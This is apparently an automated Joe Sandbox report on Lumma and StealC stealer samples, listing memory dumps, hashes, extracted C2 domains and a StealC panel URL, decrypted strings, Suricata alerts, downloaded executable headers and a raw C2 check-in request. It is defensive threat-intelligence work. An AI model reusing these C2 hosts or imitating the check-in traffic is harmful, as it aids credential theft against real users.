Associated: 00000003.00000002.1987383065.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987403922.000000000110C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987429724.0000000001121000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987451735.000000000112B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987473548.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987495404.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987518916.0000000001142000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987540269.0000000001149000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987571057.0000000001160000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987595440.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987620555.0000000001167000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987676085.0000000001170000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987704745.000000000117F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987725433.0000000001181000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987748751.0000000001182000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987773260.0000000001185000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987794631.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987946586.000000000118F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987974359.0000000001196000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987996852.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988017888.00000000011A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988042346.00000000011A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988066362.00000000011B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988086629.00000000011B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988107644.00000000011C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988407326.00000000011C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988443013.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988465161.00000000011F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988534432.0000000001218000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988556264.000000000121A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8cfa2a2d47da64059ef7973e904e60301f4839296b4a846d1e423b20bc3fe256
Instruction ID: 8b8c1035ee44aa3f0512015bf7087bb3bd2dc7b2f1ec5cf3decd01ce6eb715b2
Opcode Fuzzy Hash: 8cfa2a2d47da64059ef7973e904e60301f4839296b4a846d1e423b20bc3fe256
Instruction Fuzzy Hash: FAE09AB240C648AFE7456F2698C56BEBBE4FF18758F11082DE5C4C6600D2754C50DB56

Non-executed Functions

Function 010FDB24 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1987211126.00000000010F9000.00000040.00000001.01000000.00000006.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.1986811297.0000000000F60000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986833668.0000000000F62000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986856811.0000000000F66000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986878955.0000000000F6A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1986903709.0000000000F76000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987017767.00000000010CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987041975.00000000010CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987069461.00000000010E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987090456.00000000010E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987118017.00000000010E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987118017.00000000010F3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987182109.00000000010F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987288405.0000000001105000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987311943.0000000001108000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987334316.0000000001109000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987356868.000000000110A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987383065.000000000110B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987403922.000000000110C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987429724.0000000001121000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987451735.000000000112B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987473548.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987495404.0000000001135000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987518916.0000000001142000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987540269.0000000001149000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987571057.0000000001160000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987595440.0000000001166000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987620555.0000000001167000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987676085.0000000001170000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987704745.000000000117F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987725433.0000000001181000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987748751.0000000001182000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987773260.0000000001185000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987794631.000000000118C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987946586.000000000118F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987974359.0000000001196000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1987996852.000000000119A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988017888.00000000011A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988042346.00000000011A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988066362.00000000011B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988086629.00000000011B7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988107644.00000000011C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988407326.00000000011C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988443013.00000000011F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988465161.00000000011F9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001202000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988487301.0000000001209000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988534432.0000000001218000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1988556264.000000000121A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_CDYE6QFT7BVP6AK0822DTDO89F1Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544e3b2d75fe898485c22e71a1045d9ebf5b0f93ac2308565d83f83c33c03022
Instruction ID: e6f6d243374580017de8559c933d414bd37985e41525cb145791abc84996aa34
Opcode Fuzzy Hash: 544e3b2d75fe898485c22e71a1045d9ebf5b0f93ac2308565d83f83c33c03022
Instruction Fuzzy Hash: 0FE04F36104205DED700DF54D845A9BFBF4FF1A311F259949E584C7622C3358841CB29

Source: hBBxlxfQ3F.exe.2000.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["necklacebudi.lat", "discokeyus.lat", "aspecteirs.lat", "crosshuaht.lat", "grannyejh.lat", "rapeflowwj.lat", "sustainskelet.lat", "energyaffai.lat", "sweepyribs.lat"], "Build id": "PsFKDg--pablo"}
Source: ODUPR5K9IIA1563VE194RM.exe.6624.4.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sweepyribs.lat
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1475532570.0000000004F60000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.9:64932 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.9:65131 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.9:49708 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.9:49706 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.9:49713 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.9:49717 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.9:49707 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.9:49718 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.9:49716 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.9:49709 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.9:54842 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49720 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49706 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49707 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49706 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49707 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49716 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49718 -> 172.67.197.170:443

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 16:29:38 GMTContent-Type: application/octet-streamContent-Length: 2846208Last-Modified: Fri, 20 Dec 2024 15:44:49 GMTConnection: keep-aliveETag: "676590f1-2b6e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 dc 95 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 6a 6d 79 6d 64 64 77 00 e0 2a 00 00 a0 00 00 00 de 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6a 64 67 78 75 6e 69 00 20 00 00 00 80 2b 00 00 06 00 00 00 46 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 4c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 20 Dec 2024 16:29:43 GMTContent-Type: application/octet-streamContent-Length: 2883584Last-Modified: Fri, 20 Dec 2024 15:46:44 GMTConnection: keep-aliveETag: "67659164-2c0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 30 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 4f 00 00 04 00 00 dd 9b 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 6a 76 69 72 68 75 74 00 60 2a 00 00 c0 24 00 00 5e 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 65 73 77 7a 72 6f 71 00 10 00 00 00 20 4f 00 00 04 00 00 00 da 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4f 00 00 22 00 00 00 de 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: C:\Users\user\AppData\Local\Temp\ODUPR5K9IIA1563VE194RM.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CDYE6QFT7BVP6AK0822DTDO89F1Y.exe	Joe Sandbox ML: detected

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDBHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 39 37 32 31 43 31 45 30 46 41 38 33 35 31 30 32 31 31 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 2d 2d 0d 0a Data Ascii: ------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="hwid"549721C1E0FA835102114------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="build"stok------AFCFHJJECAEHJJKEHIDB--

Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49708 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49706 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49713 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49717 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49707 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49718 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49716 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49719 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49709 -> 172.67.197.170:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
